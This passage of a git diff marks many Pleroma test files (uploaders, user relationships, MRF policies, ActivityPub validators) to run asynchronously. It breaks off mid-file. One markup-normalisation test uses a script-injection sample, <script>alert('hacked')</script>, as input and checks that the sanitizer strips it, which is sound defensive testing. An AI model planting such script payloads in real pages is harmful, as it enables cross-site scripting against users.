	--- a/test/pleroma/uploaders/local_test.exs
	+++ b/test/pleroma/uploaders/local_test.exs
	@@ -1,55 +1,55 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Uploaders.LocalTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.Uploaders.Local

	describe "get_file/1" do
	test "it returns path to local folder for files" do
	assert Local.get_file("") == {:ok, {:static_dir, "test/uploads"}}
	end
	end

	describe "put_file/1" do
	test "put file to local folder" do
	File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")
	file_path = "local_upload/files/image.jpg"

	file = %Pleroma.Upload{
	name: "image.jpg",
	content_type: "image/jpeg",
	path: file_path,
	tempfile: Path.absname("test/fixtures/image_tmp.jpg")
	}

	assert Local.put_file(file) == :ok

	assert Path.join([Local.upload_path(), file_path])
	\|> File.exists?()
	end
	end

	describe "delete_file/1" do
	test "deletes local file" do
	File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")
	file_path = "local_upload/files/image.jpg"

	file = %Pleroma.Upload{
	name: "image.jpg",
	content_type: "image/jpeg",
	path: file_path,
	tempfile: Path.absname("test/fixtures/image_tmp.jpg")
	}

	:ok = Local.put_file(file)
	local_path = Path.join([Local.upload_path(), file_path])
	assert File.exists?(local_path)

	Local.delete_file(file_path)

	refute File.exists?(local_path)
	end
	end
	end
	diff --git a/test/pleroma/user/notification_setting_test.exs b/test/pleroma/user/notification_setting_test.exs
	index 308da216a..701130380 100644
	--- a/test/pleroma/user/notification_setting_test.exs
	+++ b/test/pleroma/user/notification_setting_test.exs
	@@ -1,21 +1,21 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.User.NotificationSettingTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.User.NotificationSetting

	describe "changeset/2" do
	test "sets option to hide notification contents" do
	changeset =
	NotificationSetting.changeset(
	%NotificationSetting{},
	%{"hide_notification_contents" => true}
	)

	assert %Ecto.Changeset{valid?: true} = changeset
	end
	end
	end
	diff --git a/test/pleroma/user_relationship_test.exs b/test/pleroma/user_relationship_test.exs
	index f12406097..da4982065 100644
	--- a/test/pleroma/user_relationship_test.exs
	+++ b/test/pleroma/user_relationship_test.exs
	@@ -1,130 +1,130 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.UserRelationshipTest do
	alias Pleroma.UserRelationship

	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	import Pleroma.Factory

	describe "*_exists?/2" do
	setup do
	{:ok, users: insert_list(2, :user)}
	end

	test "returns false if record doesn't exist", %{users: [user1, user2]} do
	refute UserRelationship.block_exists?(user1, user2)
	refute UserRelationship.mute_exists?(user1, user2)
	refute UserRelationship.notification_mute_exists?(user1, user2)
	refute UserRelationship.reblog_mute_exists?(user1, user2)
	refute UserRelationship.inverse_subscription_exists?(user1, user2)
	end

	test "returns true if record exists", %{users: [user1, user2]} do
	for relationship_type <- [
	:block,
	:mute,
	:notification_mute,
	:reblog_mute,
	:inverse_subscription
	] do
	insert(:user_relationship,
	source: user1,
	target: user2,
	relationship_type: relationship_type
	)
	end

	assert UserRelationship.block_exists?(user1, user2)
	assert UserRelationship.mute_exists?(user1, user2)
	assert UserRelationship.notification_mute_exists?(user1, user2)
	assert UserRelationship.reblog_mute_exists?(user1, user2)
	assert UserRelationship.inverse_subscription_exists?(user1, user2)
	end
	end

	describe "create_*/2" do
	setup do
	{:ok, users: insert_list(2, :user)}
	end

	test "creates user relationship record if it doesn't exist", %{users: [user1, user2]} do
	for relationship_type <- [
	:block,
	:mute,
	:notification_mute,
	:reblog_mute,
	:inverse_subscription
	] do
	insert(:user_relationship,
	source: user1,
	target: user2,
	relationship_type: relationship_type
	)
	end

	UserRelationship.create_block(user1, user2)
	UserRelationship.create_mute(user1, user2)
	UserRelationship.create_notification_mute(user1, user2)
	UserRelationship.create_reblog_mute(user1, user2)
	UserRelationship.create_inverse_subscription(user1, user2)

	assert UserRelationship.block_exists?(user1, user2)
	assert UserRelationship.mute_exists?(user1, user2)
	assert UserRelationship.notification_mute_exists?(user1, user2)
	assert UserRelationship.reblog_mute_exists?(user1, user2)
	assert UserRelationship.inverse_subscription_exists?(user1, user2)
	end

	test "if record already exists, returns it", %{users: [user1, user2]} do
	user_block = UserRelationship.create_block(user1, user2)
	assert user_block == UserRelationship.create_block(user1, user2)
	end
	end

	describe "delete_*/2" do
	setup do
	{:ok, users: insert_list(2, :user)}
	end

	test "deletes user relationship record if it exists", %{users: [user1, user2]} do
	for relationship_type <- [
	:block,
	:mute,
	:notification_mute,
	:reblog_mute,
	:inverse_subscription
	] do
	insert(:user_relationship,
	source: user1,
	target: user2,
	relationship_type: relationship_type
	)
	end

	assert {:ok, %UserRelationship{}} = UserRelationship.delete_block(user1, user2)
	assert {:ok, %UserRelationship{}} = UserRelationship.delete_mute(user1, user2)
	assert {:ok, %UserRelationship{}} = UserRelationship.delete_notification_mute(user1, user2)
	assert {:ok, %UserRelationship{}} = UserRelationship.delete_reblog_mute(user1, user2)

	assert {:ok, %UserRelationship{}} =
	UserRelationship.delete_inverse_subscription(user1, user2)

	refute UserRelationship.block_exists?(user1, user2)
	refute UserRelationship.mute_exists?(user1, user2)
	refute UserRelationship.notification_mute_exists?(user1, user2)
	refute UserRelationship.reblog_mute_exists?(user1, user2)
	refute UserRelationship.inverse_subscription_exists?(user1, user2)
	end

	test "if record does not exist, returns {:ok, nil}", %{users: [user1, user2]} do
	assert {:ok, nil} = UserRelationship.delete_block(user1, user2)
	assert {:ok, nil} = UserRelationship.delete_mute(user1, user2)
	assert {:ok, nil} = UserRelationship.delete_notification_mute(user1, user2)
	assert {:ok, nil} = UserRelationship.delete_reblog_mute(user1, user2)
	assert {:ok, nil} = UserRelationship.delete_inverse_subscription(user1, user2)
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/mrf/anti_followbot_policy_test.exs b/test/pleroma/web/activity_pub/mrf/anti_followbot_policy_test.exs
	index 3c795f5ac..49bbc271d 100644
	--- a/test/pleroma/web/activity_pub/mrf/anti_followbot_policy_test.exs
	+++ b/test/pleroma/web/activity_pub/mrf/anti_followbot_policy_test.exs
	@@ -1,72 +1,72 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.MRF.AntiFollowbotPolicyTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory

	alias Pleroma.Web.ActivityPub.MRF.AntiFollowbotPolicy

	describe "blocking based on attributes" do
	test "matches followbots by nickname" do
	actor = insert(:user, %{nickname: "followbot@example.com"})
	target = insert(:user)

	message = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"type" => "Follow",
	"actor" => actor.ap_id,
	"object" => target.ap_id,
	"id" => "https://example.com/activities/1234"
	}

	assert {:reject, "[AntiFollowbotPolicy]" <> _} = AntiFollowbotPolicy.filter(message)
	end

	test "matches followbots by display name" do
	actor = insert(:user, %{name: "Federation Bot"})
	target = insert(:user)

	message = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"type" => "Follow",
	"actor" => actor.ap_id,
	"object" => target.ap_id,
	"id" => "https://example.com/activities/1234"
	}

	assert {:reject, "[AntiFollowbotPolicy]" <> _} = AntiFollowbotPolicy.filter(message)
	end
	end

	test "it allows non-followbots" do
	actor = insert(:user)
	target = insert(:user)

	message = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"type" => "Follow",
	"actor" => actor.ap_id,
	"object" => target.ap_id,
	"id" => "https://example.com/activities/1234"
	}

	{:ok, _} = AntiFollowbotPolicy.filter(message)
	end

	test "it gracefully handles nil display names" do
	actor = insert(:user, %{name: nil})
	target = insert(:user)

	message = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"type" => "Follow",
	"actor" => actor.ap_id,
	"object" => target.ap_id,
	"id" => "https://example.com/activities/1234"
	}

	{:ok, _} = AntiFollowbotPolicy.filter(message)
	end
	end
	diff --git a/test/pleroma/web/activity_pub/mrf/ensure_re_prepended_test.exs b/test/pleroma/web/activity_pub/mrf/ensure_re_prepended_test.exs
	index 9a283f27d..19ea491c0 100644
	--- a/test/pleroma/web/activity_pub/mrf/ensure_re_prepended_test.exs
	+++ b/test/pleroma/web/activity_pub/mrf/ensure_re_prepended_test.exs
	@@ -1,92 +1,92 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.MRF.EnsureRePrependedTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.Web.ActivityPub.MRF.EnsureRePrepended

	describe "rewrites summary" do
	test "it adds `re:` to summary object when child summary and parent summary equal" do
	message = %{
	"type" => "Create",
	"object" => %{
	"summary" => "object-summary",
	"inReplyTo" => %Activity{object: %Object{data: %{"summary" => "object-summary"}}}
	}
	}

	assert {:ok, res} = EnsureRePrepended.filter(message)
	assert res["object"]["summary"] == "re: object-summary"
	end

	test "it adds `re:` to summary object when child summary containts re-subject of parent summary " do
	message = %{
	"type" => "Create",
	"object" => %{
	"summary" => "object-summary",
	"inReplyTo" => %Activity{object: %Object{data: %{"summary" => "re: object-summary"}}}
	}
	}

	assert {:ok, res} = EnsureRePrepended.filter(message)
	assert res["object"]["summary"] == "re: object-summary"
	end
	end

	describe "skip filter" do
	test "it skip if type isn't 'Create'" do
	message = %{
	"type" => "Annotation",
	"object" => %{"summary" => "object-summary"}
	}

	assert {:ok, res} = EnsureRePrepended.filter(message)
	assert res == message
	end

	test "it skip if summary is empty" do
	message = %{
	"type" => "Create",
	"object" => %{
	"inReplyTo" => %Activity{object: %Object{data: %{"summary" => "summary"}}}
	}
	}

	assert {:ok, res} = EnsureRePrepended.filter(message)
	assert res == message
	end

	test "it skip if inReplyTo is empty" do
	message = %{"type" => "Create", "object" => %{"summary" => "summary"}}
	assert {:ok, res} = EnsureRePrepended.filter(message)
	assert res == message
	end

	test "it skip if parent and child summary isn't equal" do
	message = %{
	"type" => "Create",
	"object" => %{
	"summary" => "object-summary",
	"inReplyTo" => %Activity{object: %Object{data: %{"summary" => "summary"}}}
	}
	}

	assert {:ok, res} = EnsureRePrepended.filter(message)
	assert res == message
	end

	test "it skips if the object is only a reference" do
	message = %{
	"type" => "Create",
	"object" => "somereference"
	}

	assert {:ok, res} = EnsureRePrepended.filter(message)
	assert res == message
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs b/test/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs
	index 86dd9ddae..b5f401ad2 100644
	--- a/test/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs
	+++ b/test/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs
	@@ -1,60 +1,60 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory

	alias Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy
	@public "https://www.w3.org/ns/activitystreams#Public"

	defp generate_messages(actor) do
	{%{
	"actor" => actor.ap_id,
	"type" => "Create",
	"object" => %{},
	"to" => [@public, "f"],
	"cc" => [actor.follower_address, "d"]
	},
	%{
	"actor" => actor.ap_id,
	"type" => "Create",
	"object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]},
	"to" => ["f", actor.follower_address],
	"cc" => ["d", @public]
	}}
	end

	test "removes from the federated timeline by nickname heuristics 1" do
	actor = insert(:user, %{nickname: "annoying_ebooks@example.com"})

	{message, except_message} = generate_messages(actor)

	assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message}
	end

	test "removes from the federated timeline by nickname heuristics 2" do
	actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"})

	{message, except_message} = generate_messages(actor)

	assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message}
	end

	test "removes from the federated timeline by actor type Application" do
	actor = insert(:user, %{actor_type: "Application"})

	{message, except_message} = generate_messages(actor)

	assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message}
	end

	test "removes from the federated timeline by actor type Service" do
	actor = insert(:user, %{actor_type: "Service"})

	{message, except_message} = generate_messages(actor)

	assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message}
	end
	end
	diff --git a/test/pleroma/web/activity_pub/mrf/no_placeholder_text_policy_test.exs b/test/pleroma/web/activity_pub/mrf/no_placeholder_text_policy_test.exs
	index 64ea61dd4..d03456b34 100644
	--- a/test/pleroma/web/activity_pub/mrf/no_placeholder_text_policy_test.exs
	+++ b/test/pleroma/web/activity_pub/mrf/no_placeholder_text_policy_test.exs
	@@ -1,37 +1,37 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.MRF.NoPlaceholderTextPolicyTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.Web.ActivityPub.MRF.NoPlaceholderTextPolicy

	test "it clears content object" do
	message = %{
	"type" => "Create",
	"object" => %{"content" => ".", "attachment" => "image"}
	}

	assert {:ok, res} = NoPlaceholderTextPolicy.filter(message)
	assert res["object"]["content"] == ""

	message = put_in(message, ["object", "content"], "<p>.</p>")
	assert {:ok, res} = NoPlaceholderTextPolicy.filter(message)
	assert res["object"]["content"] == ""
	end

	@messages [
	%{
	"type" => "Create",
	"object" => %{"content" => "test", "attachment" => "image"}
	},
	%{"type" => "Create", "object" => %{"content" => "."}},
	%{"type" => "Create", "object" => %{"content" => "<p>.</p>"}}
	]
	test "it skips filter" do
	Enum.each(@messages, fn message ->
	assert {:ok, res} = NoPlaceholderTextPolicy.filter(message)
	assert res == message
	end)
	end
	end
	diff --git a/test/pleroma/web/activity_pub/mrf/normalize_markup_test.exs b/test/pleroma/web/activity_pub/mrf/normalize_markup_test.exs
	index 9b39c45bd..5fccf7760 100644
	--- a/test/pleroma/web/activity_pub/mrf/normalize_markup_test.exs
	+++ b/test/pleroma/web/activity_pub/mrf/normalize_markup_test.exs
	@@ -1,42 +1,42 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.MRF.NormalizeMarkupTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.Web.ActivityPub.MRF.NormalizeMarkup

	@html_sample """
	<b>this is in bold</b>
	<p>this is a paragraph</p>
	this is a linebreak<br />
	this is a link with allowed "rel" attribute: <a href="http://example.com/" rel="tag">example.com</a>
	this is a link with not allowed "rel" attribute: <a href="http://example.com/" rel="tag noallowed">example.com</a>
	this is an image: <img src="http://example.com/image.jpg"><br />
	<script>alert('hacked')</script>
	"""

	test "it filter html tags" do
	expected = """
	<b>this is in bold</b>
	<p>this is a paragraph</p>
	this is a linebreak<br/>
	this is a link with allowed "rel" attribute: <a href="http://example.com/" rel="tag">example.com</a>
	this is a link with not allowed "rel" attribute: <a href="http://example.com/">example.com</a>
	this is an image: <img src="http://example.com/image.jpg"/><br/>
	alert('hacked')
	"""

	message = %{"type" => "Create", "object" => %{"content" => @html_sample}}

	assert {:ok, res} = NormalizeMarkup.filter(message)
	assert res["object"]["content"] == expected
	end

	test "it skips filter if type isn't `Create`" do
	message = %{"type" => "Note", "object" => %{}}

	assert {:ok, res} = NormalizeMarkup.filter(message)
	assert res == message
	end
	end
	diff --git a/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs b/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs
	index ffc30ba62..4f289739f 100644
	--- a/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs
	+++ b/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs
	@@ -1,123 +1,123 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.MRF.TagPolicyTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory

	alias Pleroma.Web.ActivityPub.MRF.TagPolicy
	@public "https://www.w3.org/ns/activitystreams#Public"

	describe "mrf_tag:disable-any-subscription" do
	test "rejects message" do
	actor = insert(:user, tags: ["mrf_tag:disable-any-subscription"])
	message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => actor.ap_id}
	assert {:reject, _} = TagPolicy.filter(message)
	end
	end

	describe "mrf_tag:disable-remote-subscription" do
	test "rejects non-local follow requests" do
	actor = insert(:user, tags: ["mrf_tag:disable-remote-subscription"])
	follower = insert(:user, tags: ["mrf_tag:disable-remote-subscription"], local: false)
	message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => follower.ap_id}
	assert {:reject, _} = TagPolicy.filter(message)
	end

	test "allows non-local follow requests" do
	actor = insert(:user, tags: ["mrf_tag:disable-remote-subscription"])
	follower = insert(:user, tags: ["mrf_tag:disable-remote-subscription"], local: true)
	message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => follower.ap_id}
	assert {:ok, _message} = TagPolicy.filter(message)
	end
	end

	describe "mrf_tag:sandbox" do
	test "removes from public timelines" do
	actor = insert(:user, tags: ["mrf_tag:sandbox"])

	message = %{
	"actor" => actor.ap_id,
	"type" => "Create",
	"object" => %{},
	"to" => [@public, "f"],
	"cc" => [@public, "d"]
	}

	except_message = %{
	"actor" => actor.ap_id,
	"type" => "Create",
	"object" => %{"to" => ["f", actor.follower_address], "cc" => ["d"]},
	"to" => ["f", actor.follower_address],
	"cc" => ["d"]
	}

	assert TagPolicy.filter(message) == {:ok, except_message}
	end
	end

	describe "mrf_tag:force-unlisted" do
	test "removes from the federated timeline" do
	actor = insert(:user, tags: ["mrf_tag:force-unlisted"])

	message = %{
	"actor" => actor.ap_id,
	"type" => "Create",
	"object" => %{},
	"to" => [@public, "f"],
	"cc" => [actor.follower_address, "d"]
	}

	except_message = %{
	"actor" => actor.ap_id,
	"type" => "Create",
	"object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]},
	"to" => ["f", actor.follower_address],
	"cc" => ["d", @public]
	}

	assert TagPolicy.filter(message) == {:ok, except_message}
	end
	end

	describe "mrf_tag:media-strip" do
	test "removes attachments" do
	actor = insert(:user, tags: ["mrf_tag:media-strip"])

	message = %{
	"actor" => actor.ap_id,
	"type" => "Create",
	"object" => %{"attachment" => ["file1"]}
	}

	except_message = %{
	"actor" => actor.ap_id,
	"type" => "Create",
	"object" => %{}
	}

	assert TagPolicy.filter(message) == {:ok, except_message}
	end
	end

	describe "mrf_tag:media-force-nsfw" do
	test "Mark as sensitive on presence of attachments" do
	actor = insert(:user, tags: ["mrf_tag:media-force-nsfw"])

	message = %{
	"actor" => actor.ap_id,
	"type" => "Create",
	"object" => %{"tag" => ["test"], "attachment" => ["file1"]}
	}

	except_message = %{
	"actor" => actor.ap_id,
	"type" => "Create",
	"object" => %{"tag" => ["test", "nsfw"], "attachment" => ["file1"], "sensitive" => true}
	}

	assert TagPolicy.filter(message) == {:ok, except_message}
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/object_validators/accept_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/accept_validation_test.exs
	index d6111ba41..bafa2a672 100644
	--- a/test/pleroma/web/activity_pub/object_validators/accept_validation_test.exs
	+++ b/test/pleroma/web/activity_pub/object_validators/accept_validation_test.exs
	@@ -1,56 +1,56 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ObjectValidators.AcceptValidationTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.ActivityPub.Builder
	alias Pleroma.Web.ActivityPub.ObjectValidator
	alias Pleroma.Web.ActivityPub.Pipeline

	import Pleroma.Factory

	setup do
	follower = insert(:user)
	followed = insert(:user, local: false)

	{:ok, follow_data, _} = Builder.follow(follower, followed)
	{:ok, follow_activity, _} = Pipeline.common_pipeline(follow_data, local: true)

	{:ok, accept_data, _} = Builder.accept(followed, follow_activity)

	%{accept_data: accept_data, followed: followed}
	end

	test "it validates a basic 'accept'", %{accept_data: accept_data} do
	assert {:ok, _, _} = ObjectValidator.validate(accept_data, [])
	end

	test "it fails when the actor doesn't exist", %{accept_data: accept_data} do
	accept_data =
	accept_data
	\|> Map.put("actor", "https://gensokyo.2hu/users/raymoo")

	assert {:error, _} = ObjectValidator.validate(accept_data, [])
	end

	test "it fails when the accepted activity doesn't exist", %{accept_data: accept_data} do
	accept_data =
	accept_data
	\|> Map.put("object", "https://gensokyo.2hu/users/raymoo/follows/1")

	assert {:error, _} = ObjectValidator.validate(accept_data, [])
	end

	test "for an accepted follow, it only validates if the actor of the accept is the followed actor",
	%{accept_data: accept_data} do
	stranger = insert(:user)

	accept_data =
	accept_data
	\|> Map.put("actor", stranger.ap_id)

	assert {:error, _} = ObjectValidator.validate(accept_data, [])
	end
	end
	diff --git a/test/pleroma/web/activity_pub/object_validators/announce_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/announce_validation_test.exs
	index 4771c4698..9613dea9b 100644
	--- a/test/pleroma/web/activity_pub/object_validators/announce_validation_test.exs
	+++ b/test/pleroma/web/activity_pub/object_validators/announce_validation_test.exs
	@@ -1,106 +1,106 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ObjectValidators.AnnounceValidationTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Object
	alias Pleroma.Web.ActivityPub.Builder
	alias Pleroma.Web.ActivityPub.ObjectValidator
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	describe "announces" do
	setup do
	user = insert(:user)
	announcer = insert(:user)
	{:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"})

	object = Object.normalize(post_activity, false)
	{:ok, valid_announce, []} = Builder.announce(announcer, object)

	%{
	valid_announce: valid_announce,
	user: user,
	post_activity: post_activity,
	announcer: announcer
	}
	end

	test "returns ok for a valid announce", %{valid_announce: valid_announce} do
	assert {:ok, _object, _meta} = ObjectValidator.validate(valid_announce, [])
	end

	test "returns an error if the object can't be found", %{valid_announce: valid_announce} do
	without_object =
	valid_announce
	\|> Map.delete("object")

	{:error, cng} = ObjectValidator.validate(without_object, [])

	assert {:object, {"can't be blank", [validation: :required]}} in cng.errors

	nonexisting_object =
	valid_announce
	\|> Map.put("object", "https://gensokyo.2hu/objects/99999999")

	{:error, cng} = ObjectValidator.validate(nonexisting_object, [])

	assert {:object, {"can't find object", []}} in cng.errors
	end

	test "returns an error if we don't have the actor", %{valid_announce: valid_announce} do
	nonexisting_actor =
	valid_announce
	\|> Map.put("actor", "https://gensokyo.2hu/users/raymoo")

	{:error, cng} = ObjectValidator.validate(nonexisting_actor, [])

	assert {:actor, {"can't find user", []}} in cng.errors
	end

	test "returns an error if the actor already announced the object", %{
	valid_announce: valid_announce,
	announcer: announcer,
	post_activity: post_activity
	} do
	_announce = CommonAPI.repeat(post_activity.id, announcer)

	{:error, cng} = ObjectValidator.validate(valid_announce, [])

	assert {:actor, {"already announced this object", []}} in cng.errors
	assert {:object, {"already announced by this actor", []}} in cng.errors
	end

	test "returns an error if the actor can't announce the object", %{
	announcer: announcer,
	user: user
	} do
	{:ok, post_activity} =
	CommonAPI.post(user, %{status: "a secret post", visibility: "private"})

	object = Object.normalize(post_activity, false)

	# Another user can't announce it
	{:ok, announce, []} = Builder.announce(announcer, object, public: false)

	{:error, cng} = ObjectValidator.validate(announce, [])

	assert {:actor, {"can not announce this object", []}} in cng.errors

	# The actor of the object can announce it
	{:ok, announce, []} = Builder.announce(user, object, public: false)

	assert {:ok, _, _} = ObjectValidator.validate(announce, [])

	# The actor of the object can not announce it publicly
	{:ok, announce, []} = Builder.announce(user, object, public: true)

	{:error, cng} = ObjectValidator.validate(announce, [])

	assert {:actor, {"can not announce this object publicly", []}} in cng.errors
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/object_validators/article_note_validator_test.exs b/test/pleroma/web/activity_pub/object_validators/article_note_validator_test.exs
	index cc6dab872..1f992b397 100644
	--- a/test/pleroma/web/activity_pub/object_validators/article_note_validator_test.exs
	+++ b/test/pleroma/web/activity_pub/object_validators/article_note_validator_test.exs
	@@ -1,35 +1,35 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidatorTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidator
	alias Pleroma.Web.ActivityPub.Utils

	import Pleroma.Factory

	describe "Notes" do
	setup do
	user = insert(:user)

	note = %{
	"id" => Utils.generate_activity_id(),
	"type" => "Note",
	"actor" => user.ap_id,
	"to" => [user.follower_address],
	"cc" => [],
	"content" => "Hellow this is content.",
	"context" => "xxx",
	"summary" => "a post"
	}

	%{user: user, note: note}
	end

	test "a basic note validates", %{note: note} do
	%{valid?: true} = ArticleNoteValidator.cast_and_validate(note)
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs b/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs
	index 2e1975a79..45e1d8852 100644
	--- a/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs
	+++ b/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs
	@@ -1,76 +1,76 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidatorTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidator

	import Pleroma.Factory

	describe "attachments" do
	test "works with honkerific attachments" do
	attachment = %{
	"mediaType" => "",
	"name" => "",
	"summary" => "298p3RG7j27tfsZ9RQ.jpg",
	"type" => "Document",
	"url" => "https://honk.tedunangst.com/d/298p3RG7j27tfsZ9RQ.jpg"
	}

	assert {:ok, attachment} =
	AttachmentValidator.cast_and_validate(attachment)
	\|> Ecto.Changeset.apply_action(:insert)

	assert attachment.mediaType == "application/octet-stream"
	end

	test "it turns mastodon attachments into our attachments" do
	attachment = %{
	"url" =>
	"http://mastodon.example.org/system/media_attachments/files/000/000/002/original/334ce029e7bfb920.jpg",
	"type" => "Document",
	"name" => nil,
	"mediaType" => "image/jpeg",
	"blurhash" => "UD9jJz~VSbR#xT$~%KtQX9R,WAs9RjWBs:of"
	}

	{:ok, attachment} =
	AttachmentValidator.cast_and_validate(attachment)
	\|> Ecto.Changeset.apply_action(:insert)

	assert [
	%{
	href:
	"http://mastodon.example.org/system/media_attachments/files/000/000/002/original/334ce029e7bfb920.jpg",
	type: "Link",
	mediaType: "image/jpeg"
	}
	] = attachment.url

	assert attachment.mediaType == "image/jpeg"
	assert attachment.blurhash == "UD9jJz~VSbR#xT$~%KtQX9R,WAs9RjWBs:of"
	end

	test "it handles our own uploads" do
	user = insert(:user)

	file = %Plug.Upload{
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	{:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id)

	{:ok, attachment} =
	attachment.data
	\|> AttachmentValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert)

	assert attachment.mediaType == "image/jpeg"
	end
	end
	end
	diff --git a/test/pleroma/web/activity_pub/object_validators/block_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/block_validation_test.exs
	index c08d4b2e8..d133aeb1a 100644
	--- a/test/pleroma/web/activity_pub/object_validators/block_validation_test.exs
	+++ b/test/pleroma/web/activity_pub/object_validators/block_validation_test.exs
	@@ -1,39 +1,39 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ObjectValidators.BlockValidationTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.ActivityPub.Builder
	alias Pleroma.Web.ActivityPub.ObjectValidator

	import Pleroma.Factory

	describe "blocks" do
	setup do
	user = insert(:user, local: false)
	blocked = insert(:user)

	{:ok, valid_block, []} = Builder.block(user, blocked)

